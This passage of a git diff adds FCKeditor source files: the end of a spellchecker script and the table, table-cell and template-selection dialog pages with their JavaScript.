+                       var orig = this.originalSpellings[txtid];
+                       if( !orig ) break;
+
+                       //!!! plain text, or HTML mode?
+                       d.writeln( '<div class="plainText">' );
+                       // iterate through each occurrence of a misspelled word. 
+                       for( var i = 0; i < orig.length; i++ ) {
+                               // find the position of the current misspelled word,
+                               // starting at the last misspelled word. 
+                               // and keep looking if it's a substring of another word
+                               do {
+                                       begin_idx = wordtxt.indexOf( orig[i], end_idx );
+                                       end_idx = begin_idx + orig[i].length;
+                                       // word not found? messed up!
+                                       if( begin_idx == -1 ) break; 
+                                       // look at the characters immediately before and after 
+                                       // the word. If they are word characters we'll keep looking.
+                                       var before_char = wordtxt.charAt( begin_idx - 1 );
+                                       var after_char = wordtxt.charAt( end_idx );
+                               } while ( 
+                                       this._isWordChar( before_char ) 
+                                       || this._isWordChar( after_char )
+                               );
+
+                               // keep track of its position in the original text. 
+                               this.indexes[txtid][i] = begin_idx;
+
+                               // write out the characters before the current misspelled word
+                               for( var j = this._lastPos( txtid, i ); j < begin_idx; j++ ) {
+                                       // !!! html mode? make it html compatible
+                                       d.write( this.printForHtml( wordtxt.charAt( j )));
+                               }
+
+                               // write out the misspelled word. 
+                               d.write( this._wordInputStr( orig[i] ));
+
+                               // if it's the last word, write out the rest of the text
+                               if( i == orig.length-1 ){
+                                       d.write( printForHtml( wordtxt.substr( end_idx )));
+                               }                       
+                       }
+
+                       d.writeln( '</div>' );
+                       
+               }
+               d.writeln( '</form>' );
+       }
+       //for ( var j = 0; j < d.forms.length; j++ ) {
+       //      alert( d.forms[j].name );
+       //      for( var k = 0; k < d.forms[j].elements.length; k++ ) {
+       //              alert( d.forms[j].elements[k].name + ": " + d.forms[j].elements[k].value );
+       //      }
+       //}     
+       
+       // set the _forms property
+       this._forms = d.forms;
+       d.close();
+}
+
+// return the character index in the full text after the last word we evaluated
+function _lastPos( txtid, idx ) {
+       if( idx > 0 )
+               return this.indexes[txtid][idx-1] + this.originalSpellings[txtid][idx-1].length;
+       else
+               return 0;
+}
+
+function printForHtml( n ) {
+       return n ;              // by FredCK
+/*     
+       var htmlstr = n;
+       if( htmlstr.length == 1 ) {
+               // do simple case statement if it's just one character
+               switch ( n ) {
+                       case "\n":
+                               htmlstr = '<br/>';
+                               break;
+                       case "<":
+                               htmlstr = '&lt;';
+                               break;
+                       case ">":
+                               htmlstr = '&gt;';
+                               break;
+               }
+               return htmlstr;
+       } else {
+               htmlstr = htmlstr.replace( /</g, '&lt' );
+               htmlstr = htmlstr.replace( />/g, '&gt' );
+               htmlstr = htmlstr.replace( /\n/g, '<br/>' );
+               return htmlstr;
+       }
+*/
+}
+
+function _isWordChar( letter ) {
+       if( letter.search( this.wordChar ) == -1 ) {
+               return false;
+       } else {
+               return true;
+       }
+}
+
+function _getWordObject( textIndex, wordIndex ) {
+       if( this._forms[textIndex] ) {
+               if( this._forms[textIndex].elements[wordIndex] ) {
+                       return this._forms[textIndex].elements[wordIndex];
+               }
+       }
+       return null;
+}
+
+function _wordInputStr( word ) {
+       var str = '<input readonly ';
+       str += 'class="blend" type="text" value="' + word + '" size="' + word.length + '">';
+       return str;
+}
+
+function _adjustIndexes( textIndex, wordIndex, lengthDiff ) {
+       for( var i = wordIndex + 1; i < this.originalSpellings[textIndex].length; i++ ) {
+               this.indexes[textIndex][i] = this.indexes[textIndex][i] + lengthDiff;
+       }
+}
diff --git a/fckeditor/editor/dialog/fck_table.html b/fckeditor/editor/dialog/fck_table.html
new file mode 100755 (executable)
index 0000000..1fd445f
--- /dev/null
@@ -0,0 +1,290 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_table.html
+ *     Table dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Table Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+// Gets the table if there is one selected.
+var table ;
+var e = oEditor.FCKSelection.GetSelectedElement() ;
+
+if ( ( !e && document.location.search.substr(1) == 'Parent' ) || ( e && e.tagName != 'TABLE' ) )
+       e = oEditor.FCKSelection.MoveToAncestorNode( 'TABLE' ) ;
+
+if ( e && e.tagName == "TABLE" )
+       table = e ;
+
+// Fired when the window loading process is finished. It sets the fields with the
+// actual values if a table is selected in the editor.
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if (table)
+       {
+               document.getElementById('txtRows').value    = table.rows.length ;
+               document.getElementById('txtColumns').value = table.rows[0].cells.length ;
+
+               // Gets the value from the Width or the Style attribute
+               var iWidth  = (table.style.width  ? table.style.width  : table.width ) ;
+               var iHeight = (table.style.height ? table.style.height : table.height ) ;
+
+               if (iWidth.indexOf('%') >= 0)                   // Percentual = %
+               {
+                       iWidth = parseInt( iWidth.substr(0,iWidth.length - 1), 10 ) ;
+                       document.getElementById('selWidthType').value = "percent" ;
+               }
+               else if (iWidth.indexOf('px') >= 0)             // Style Pixel = px
+               {                                                                                                                                                                                                                 //
+                       iWidth = iWidth.substr(0,iWidth.length - 2);
+                       document.getElementById('selWidthType').value = "pixels" ;
+               }
+               
+               if (iHeight && iHeight.indexOf('px') >= 0)              // Style Pixel = px
+                       iHeight = iHeight.substr(0,iHeight.length - 2);
+               
+               document.getElementById('txtWidth').value               = iWidth || '' ;
+               document.getElementById('txtHeight').value              = iHeight || '' ;
+               document.getElementById('txtBorder').value              = GetAttribute( table, 'border', '' ) ;
+               document.getElementById('selAlignment').value   = GetAttribute( table, 'align', '' ) ;
+               document.getElementById('txtCellPadding').value = GetAttribute( table, 'cellPadding', '' ) ;
+               document.getElementById('txtCellSpacing').value = GetAttribute( table, 'cellSpacing', '' ) ;
+               document.getElementById('txtSummary').value     = GetAttribute( table, 'summary', '' ) ;
+//             document.getElementById('cmbFontStyle').value   = table.className ;
+
+               if (table.caption) document.getElementById('txtCaption').value = table.caption.innerHTML ;
+               
+               document.getElementById('txtRows').disabled    = true ;
+               document.getElementById('txtColumns').disabled = true ;
+       }
+       
+       window.parent.SetOkButton( true ) ;     
+       window.parent.SetAutoSize( true ) ;     
+}
+
+// Fired when the user press the OK button
+function Ok()
+{
+       var bExists = ( table != null ) ;
+       
+       if ( ! bExists )
+               table = oEditor.FCK.EditorDocument.createElement( "TABLE" ) ;
+
+       // Removes the Width and Height styles
+       if ( bExists && table.style.width )             table.style.width = null ; //.removeAttribute("width") ;
+       if ( bExists && table.style.height )    table.style.height = null ; //.removeAttribute("height") ;
+
+       var sWidth = GetE('txtWidth').value ;
+       if ( sWidth.length > 0 && GetE('selWidthType').value == 'percent' )
+               sWidth += '%' ;
+
+       SetAttribute( table, 'width'            , sWidth ) ;
+       SetAttribute( table, 'height'           , GetE('txtHeight').value ) ;
+       SetAttribute( table, 'border'           , GetE('txtBorder').value ) ;
+       SetAttribute( table, 'align'            , GetE('selAlignment').value ) ;
+       SetAttribute( table, 'cellPadding'      , GetE('txtCellPadding').value ) ;
+       SetAttribute( table, 'cellSpacing'      , GetE('txtCellSpacing').value ) ;
+       SetAttribute( table, 'summary'          , GetE('txtSummary').value ) ;
+
+       var eCaption = oEditor.FCKDomTools.GetFirstChild( table, 'CAPTION' ) ;
+
+       if ( document.getElementById('txtCaption').value != '')
+       {
+               if ( !eCaption )
+               {
+                       eCaption = oEditor.FCK.EditorDocument.createElement( 'CAPTION' ) ;
+                       table.insertBefore( eCaption, table.firstChild ) ;
+               }
+
+               eCaption.innerHTML = document.getElementById('txtCaption').value ;
+       }
+       else if ( bExists && eCaption )
+               eCaption.parentNode.removeChild( eCaption ) ;
+               
+       if (! bExists)
+       {
+               var iRows = document.getElementById('txtRows').value ;
+               var iCols = document.getElementById('txtColumns').value ;
+               
+               for ( var r = 0 ; r < iRows ; r++ )
+               {
+                       var oRow = table.insertRow(-1) ;
+                       for ( var c = 0 ; c < iCols ; c++ )
+                       {
+                               var oCell = oRow.insertCell(-1) ;
+                               if ( oEditor.FCKBrowserInfo.IsGeckoLike )
+                                       oCell.innerHTML = GECKO_BOGUS ;
+                               //oCell.innerHTML = "&nbsp;" ;
+                       }
+               }
+               
+               oEditor.FCKUndo.SaveUndoStep() ;
+               
+               oEditor.FCK.InsertElement( table ) ;
+       }
+       
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table id="otable" cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 100%">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="1" width="100%" border="0">
+                                       <tr>
+                                               <td valign="top">
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableRows">Rows</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtRows" type="text" maxlength="3" size="2" value="3" name="txtRows"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableColumns">Columns</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtColumns" type="text" maxlength="2" size="2" value="2" name="txtColumns"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableBorder">Border size</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtBorder" type="text" maxlength="2" size="2" value="1" name="txtBorder"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableAlign">Alignment</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selAlignment" name="selAlignment">
+                                                                                       <option fcklang="DlgTableAlignNotSet" value="" selected="selected">&lt;Not set&gt;</option>
+                                                                                       <option fcklang="DlgTableAlignLeft" value="left">Left</option>
+                                                                                       <option fcklang="DlgTableAlignCenter" value="center">Center</option>
+                                                                                       <option fcklang="DlgTableAlignRight" value="right">Right</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td align="right" valign="top">
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableWidth">Width</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtWidth" type="text" maxlength="4" size="3" value="200" name="txtWidth"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selWidthType" name="selWidthType">
+                                                                                       <option fcklang="DlgTableWidthPx" value="pixels" selected="selected">pixels</option>
+                                                                                       <option fcklang="DlgTableWidthPc" value="percent">percent</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableHeight">Height</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtHeight" type="text" maxlength="4" size="3" name="txtHeight" onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;<span fcklang="DlgTableWidthPx">pixels</span></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgTableCellSpace">Cell spacing</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtCellSpacing" type="text" maxlength="2" size="2" value="1" name="txtCellSpacing"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgTableCellPad">Cell padding</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtCellPadding" type="text" maxlength="2" size="2" value="1" name="txtCellPadding"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                       </tr>
+                               </table>
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <span fcklang="DlgTableCaption">Caption</span>:&nbsp;</td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td width="100%" nowrap="nowrap">
+                                                       <input id="txtCaption" type="text" style="width: 100%" /></td>
+                                       </tr>
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <span fcklang="DlgTableSummary">Summary</span>:&nbsp;</td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td width="100%" nowrap="nowrap">
+                                                       <input id="txtSummary" type="text" style="width: 100%" /></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_tablecell.html b/fckeditor/editor/dialog/fck_tablecell.html
new file mode 100755 (executable)
index 0000000..c73d94d
--- /dev/null
@@ -0,0 +1,259 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_tablecell.html
+ *     Cell properties dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Table Cell Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+// Array of selected Cells
+var aCells = oEditor.FCKTableHandler.GetSelectedCells() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       SetStartupValue() ;
+
+       window.parent.SetOkButton( true ) ;
+       window.parent.SetAutoSize( true ) ;
+}
+
+function SetStartupValue()
+{
+       if ( aCells.length > 0 )
+       {
+               var oCell = aCells[0] ;
+               var iWidth = GetAttribute( oCell, 'width' ) ;
+
+               if ( iWidth.indexOf && iWidth.indexOf( '%' ) >= 0 )
+               {
+                       iWidth = iWidth.substr( 0, iWidth.length - 1 ) ;
+                       GetE('selWidthType').value = 'percent' ;
+               }
+
+               if ( oCell.attributes['noWrap'] != null && oCell.attributes['noWrap'].specified )
+                       GetE('selWordWrap').value = !oCell.noWrap ;
+
+               GetE('txtWidth').value                  = iWidth ;
+               GetE('txtHeight').value                 = GetAttribute( oCell, 'height' ) ;
+               GetE('selHAlign').value                 = GetAttribute( oCell, 'align' ) ;
+               GetE('selVAlign').value                 = GetAttribute( oCell, 'vAlign' ) ;
+               GetE('txtRowSpan').value                = GetAttribute( oCell, 'rowSpan' ) ;
+               GetE('txtCollSpan').value               = GetAttribute( oCell, 'colSpan' ) ;
+               GetE('txtBackColor').value              = GetAttribute( oCell, 'bgColor' ) ;
+               GetE('txtBorderColor').value    = GetAttribute( oCell, 'borderColor' ) ;
+//             GetE('cmbFontStyle').value              = oCell.className ;
+       }
+}
+
+// Fired when the user press the OK button
+function Ok()
+{
+       for( i = 0 ; i < aCells.length ; i++ )
+       {
+               if ( GetE('txtWidth').value.length > 0 )
+                       aCells[i].width = GetE('txtWidth').value + ( GetE('selWidthType').value == 'percent' ? '%' : '') ;
+               else
+                       aCells[i].removeAttribute( 'width', 0 ) ;
+
+               if ( GetE('selWordWrap').value == 'false' )
+                       aCells[i].noWrap = true ;
+               else
+                       aCells[i].removeAttribute( 'noWrap' ) ;
+
+               SetAttribute( aCells[i], 'height'               , GetE('txtHeight').value ) ;
+               SetAttribute( aCells[i], 'align'                , GetE('selHAlign').value ) ;
+               SetAttribute( aCells[i], 'vAlign'               , GetE('selVAlign').value ) ;
+               SetAttribute( aCells[i], 'rowSpan'              , GetE('txtRowSpan').value ) ;
+               SetAttribute( aCells[i], 'colSpan'              , GetE('txtCollSpan').value ) ;
+               SetAttribute( aCells[i], 'bgColor'              , GetE('txtBackColor').value ) ;
+               SetAttribute( aCells[i], 'borderColor'  , GetE('txtBorderColor').value ) ;
+//             SetAttribute( aCells[i], 'className'    , GetE('cmbFontStyle').value ) ;
+       }
+
+       return true ;
+}
+
+function SelectBackColor( color )
+{
+       if ( color && color.length > 0 )
+               GetE('txtBackColor').value = color ;
+}
+
+function SelectBorderColor( color )
+{
+       if ( color && color.length > 0 )
+               GetE('txtBorderColor').value = color ;
+}
+
+function SelectColor( wich )
+{
+       oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', oEditor.FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, wich == 'Back' ? SelectBackColor : SelectBorderColor, window ) ;
+}
+
+       </script>
+</head>
+<body scroll="no" style="overflow: hidden">
+       <table cellspacing="0" cellpadding="0" width="100%" border="0" height="100%">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="1" width="100%" border="0">
+                                       <tr>
+                                               <td>
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellWidth">Width</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input onkeypress="return IsDigit(event);" id="txtWidth" type="text" maxlength="4"
+                                                                                       size="3" name="txtWidth" />&nbsp;<select id="selWidthType" name="selWidthType">
+                                                                                               <option fcklang="DlgCellWidthPx" value="pixels" selected="selected">pixels</option>
+                                                                                               <option fcklang="DlgCellWidthPc" value="percent">percent</option>
+                                                                                       </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellHeight">Height</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtHeight" type="text" maxlength="4" size="3" name="txtHeight" onkeypress="return IsDigit(event);" />&nbsp;<span
+                                                                                       fcklang="DlgCellWidthPx">pixels</span></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellWordWrap">Word Wrap</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selWordWrap" name="selAlignment">
+                                                                                       <option fcklang="DlgCellWordWrapYes" value="true" selected="selected">Yes</option>
+                                                                                       <option fcklang="DlgCellWordWrapNo" value="false">No</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellHorAlign">Horizontal Alignment</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selHAlign" name="selAlignment">
+                                                                                       <option fcklang="DlgCellHorAlignNotSet" value="" selected>&lt;Not set&gt;</option>
+                                                                                       <option fcklang="DlgCellHorAlignLeft" value="left">Left</option>
+                                                                                       <option fcklang="DlgCellHorAlignCenter" value="center">Center</option>
+                                                                                       <option fcklang="DlgCellHorAlignRight" value="right">Right</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellVerAlign">Vertical Alignment</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selVAlign" name="selAlignment">
+                                                                                       <option fcklang="DlgCellVerAlignNotSet" value="" selected>&lt;Not set&gt;</option>
+                                                                                       <option fcklang="DlgCellVerAlignTop" value="top">Top</option>
+                                                                                       <option fcklang="DlgCellVerAlignMiddle" value="middle">Middle</option>
+                                                                                       <option fcklang="DlgCellVerAlignBottom" value="bottom">Bottom</option>
+                                                                                       <option fcklang="DlgCellVerAlignBaseline" value="baseline">Baseline</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td align="right">
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellRowSpan">Rows Span</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input onkeypress="return IsDigit(event);" id="txtRowSpan" type="text" maxlength="3" size="2"
+                                                                                       name="txtRows"></td>
+                                                                       <td>
+                                                                       </td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellCollSpan">Columns Span</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input onkeypress="return IsDigit(event);" id="txtCollSpan" type="text" maxlength="2"
+                                                                                       size="2" name="txtColumns"></td>
+                                                                       <td>
+                                                                       </td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellBackColor">Background Color</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtBackColor" type="text" size="8" name="txtCellSpacing"></td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input type="button" fcklang="DlgCellBtnSelect" value="Select..." onclick="SelectColor( 'Back' )"></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellBorderColor">Border Color</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtBorderColor" type="text" size="8" name="txtCellPadding" /></td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input type="button" fcklang="DlgCellBtnSelect" value="Select..." onclick="SelectColor( 'Border' )" /></td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_template.html b/fckeditor/editor/dialog/fck_template.html
new file mode 100755 (executable)
index 0000000..114f44d
--- /dev/null
@@ -0,0 +1,246 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_template.html
+ *     Template selection dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <style type="text/css">
+                       .TplList
+                       {
+                               border: #dcdcdc 2px solid;
+                               background-color: #ffffff;
+                               overflow: auto;
+                               width: 90%;
+                       }
+
+                       .TplItem
+                       {
+                               margin: 5px;
+                               padding: 7px;
+                               border: #eeeeee 1px solid;
+                       }
+
+                       .TplItem TABLE
+                       {
+                               display: inline;
+                       }
+
+                       .TplTitle
+                       {
+                               font-weight: bold;
+                       }
+               </style>
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+window.onload = function()
+{
+       // Set the right box height (browser dependent).
+       GetE('eList').style.height = document.all ? '100%' : '295px' ;
+
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+       
+       GetE('xChkReplaceAll').checked = ( FCKConfig.TemplateReplaceAll !== false ) ;
+       
+       if ( FCKConfig.TemplateReplaceCheckbox !== false )
+               GetE('xReplaceBlock').style.display = '' ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       LoadTemplatesXml() ;
+}
+
+function LoadTemplatesXml()
+{
+       var oTemplate ;
+
+       if ( !FCK._Templates )
+       {
+               GetE('eLoading').style.display = '' ;
+
+               // Create the Templates array.
+               FCK._Templates = new Array() ;
+
+               // Load the XML file.
+               var oXml = new oEditor.FCKXml() ;
+               oXml.LoadUrl( FCKConfig.TemplatesXmlPath ) ;
+
+               // Get the Images Base Path.
+               var oAtt = oXml.SelectSingleNode( 'Templates/@imagesBasePath' ) ;
+               var sImagesBasePath = oAtt ? oAtt.value : '' ;
+
+               // Get the "Template" nodes defined in the XML file.
+               var aTplNodes = oXml.SelectNodes( 'Templates/Template' ) ;
+
+               for ( var i = 0 ; i < aTplNodes.length ; i++ )
+               {
+                       var oNode = aTplNodes[i] ;
+
+                       oTemplate = new Object() ;
+
+                       var oPart ;
+
+                       // Get the Template Title.
+                       if ( (oPart = oNode.attributes.getNamedItem('title')) )
+                               oTemplate.Title = oPart.value ;
+                       else
+                               oTemplate.Title = 'Template ' + ( i + 1 ) ;
+
+                       // Get the Template Description.
+                       if ( (oPart = oXml.SelectSingleNode( 'Description', oNode )) )
+                               oTemplate.Description = oPart.text ? oPart.text : oPart.textContent ;
+
+                       // Get the Template Image.
+                       if ( (oPart = oNode.attributes.getNamedItem('image')) )
+                               oTemplate.Image = sImagesBasePath + oPart.value ;
+
+                       // Get the Template HTML.
+                       if ( (oPart = oXml.SelectSingleNode( 'Html', oNode )) )
+                               oTemplate.Html = oPart.text ? oPart.text : oPart.textContent ;
+                       else
+                       {
+                               alert( 'No HTML defined for template index ' + i + '. Please review the "' + FCKConfig.TemplatesXmlPath + '" file.' ) ;
+                               continue ;
+                       }
+
+                       FCK._Templates[ FCK._Templates.length ] = oTemplate ;
+               }
+
+               GetE('eLoading').style.display = 'none' ;
+       }
+
+       if ( FCK._Templates.length == 0 )
+               GetE('eEmpty').style.display = '' ;
+       else
+       {
+               for ( var j = 0 ; j < FCK._Templates.length ; j++ )
+               {
+                       oTemplate = FCK._Templates[j] ;
+
+                       var oItemDiv = GetE('eList').appendChild( document.createElement( 'DIV' ) ) ;
+                       oItemDiv.TplIndex = j ;
+                       oItemDiv.className = 'TplItem' ;
+
+                       // Build the inner HTML of our new item DIV.
+                       var sInner = '<table><tr>' ;
+
+                       if ( oTemplate.Image )
+                               sInner += '<td valign="top"><img src="' + oTemplate.Image + '"><\/td>' ;
+
+                       sInner += '<td valign="top"><div class="TplTitle">' + oTemplate.Title + '<\/div>' ;
+
+                       if ( oTemplate.Description )
+                               sInner += '<div>' + oTemplate.Description + '<\/div>' ;
+
+                       sInner += '<\/td><\/tr><\/table>' ;
+
+                       oItemDiv.innerHTML = sInner ;
+                       
+                       oItemDiv.onmouseover = ItemDiv_OnMouseOver ;
+                       oItemDiv.onmouseout = ItemDiv_OnMouseOut ;
+                       oItemDiv.onclick = ItemDiv_OnClick ;
+               }
+       }
+}
+
+function ItemDiv_OnMouseOver()
+{
+       this.className += ' PopupSelectionBox' ;
+}
+
+function ItemDiv_OnMouseOut()
+{
+       this.className = this.className.replace( /\s*PopupSelectionBox\s*/, '' ) ;
+}
+
+function ItemDiv_OnClick()
+{
+       SelectTemplate( this.TplIndex ) ;
+}
+
+function SelectTemplate( index )
+{
